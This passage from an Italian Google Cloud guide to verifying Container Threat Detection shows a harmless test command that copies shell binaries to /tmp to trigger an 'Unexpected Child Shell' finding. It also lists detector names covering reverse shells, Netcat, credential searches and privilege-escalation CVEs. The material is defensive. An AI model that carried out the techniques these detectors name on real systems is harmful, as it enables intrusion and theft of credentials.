   "value": "arm64" } ]}}' \
   "$tag" --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

Questa procedura di test crea un risultato Unexpected Child Shell che puoi visualizzare in Security Command Center. Se Logging è configurato per Container Threat Detection e hai attivato Security Command Center Premium o Enterprise a livello di organizzazione, puoi visualizzare il risultato anche in Cloud Logging.

Passaggi successivi

Scopri come utilizzare Container Threat Detection.

Verifica di Container Threat Detection Mantieni tutto organizzato con le raccolte Salva e classifica i contenuti in base alle tue preferenze.

Prima di iniziare

Attivare i rilevatori

Imposta le variabili di ambiente

File binario aggiuntivo eseguito

Libreria aggiuntiva caricata

Raccolta: Modifica Pam.d (anteprima)

Comando e controllo: strumento di steganografia rilevato

Accesso con credenziali: accedi ai file sensibili sui nodi (anteprima)

Accesso con credenziali: trova Google Cloud Credenziali

Accesso alle credenziali: ricognizione chiave GPG

Accesso con credenziali: cerca chiavi private o password

Evasione della difesa: righe di comando del file ELF Base64

Evasione della difesa: script Python con codifica Base64 eseguito

Evasione della difesa: script shell con codifica Base64 eseguito

Defense Evasion: Disable or Modify Linux Audit System (anteprima)

Evasione delle difese: avvia strumento di compilazione codice nel container

Evasione della difesa: certificato radice installato (anteprima)

Esecuzione: file binario aggiuntivo dannoso eseguito

Esecuzione: container escape

Esecuzione: esecuzione senza file in /memfd:

Esecuzione: esecuzione della vulnerabilità Ingress Nightmare

Esecuzione: esecuzione dello strumento di attacco Kubernetes

Esecuzione: esecuzione dello strumento di ricognizione locale

Esecuzione: Python dannoso eseguito

Esecuzione: file binario dannoso modificato eseguito

Esecuzione: esecuzione del codice remoto Netcat nel container

Esecuzione: possibile esecuzione di comandi arbitrari tramite CUPS (CVE-2024-47177)

Esecuzione: possibile esecuzione di comando remoto rilevata

Esecuzione: Program Run with Disallowed HTTP Proxy Env

Esecuzione: rilevata reverse shell Socat

Esecuzione: Modifica Cron sospetta (anteprima)

Esecuzione: Oggetto condiviso OpenSSL sospetto caricato

Esfiltrazione: avvia strumenti di copia file remoti nel container

Impatto: Rileva cmdline dannose

Impatto: Rimuovi dati collettivi dal disco

Impatto: attività sospetta di cryptomining mediante il protocollo Stratum

Script dannoso eseguito

Rilevato URL dannoso

Persistenza: modifica ld.so.preload (anteprima)

Escalation dei privilegi: abuso di sudo per l'escalation dei privilegi (CVE-2019-14287)

Escalation dei privilegi: esecuzione senza file in /dev/shm

Escalation dei privilegi: vulnerabilità di escalation dei privilegi locali di Polkit (CVE-2021-4034)

Escalation dei privilegi: potenziale escalation dei privilegi sudo (CVE-2021-3156)

Shell inversa

Shell secondaria imprevista

Passaggi successivi

Verifica di Container Threat Detection

Esecuzione: esecuzione senza file in `/memfd:`

Escalation dei privilegi: esecuzione senza file in `/dev/shm`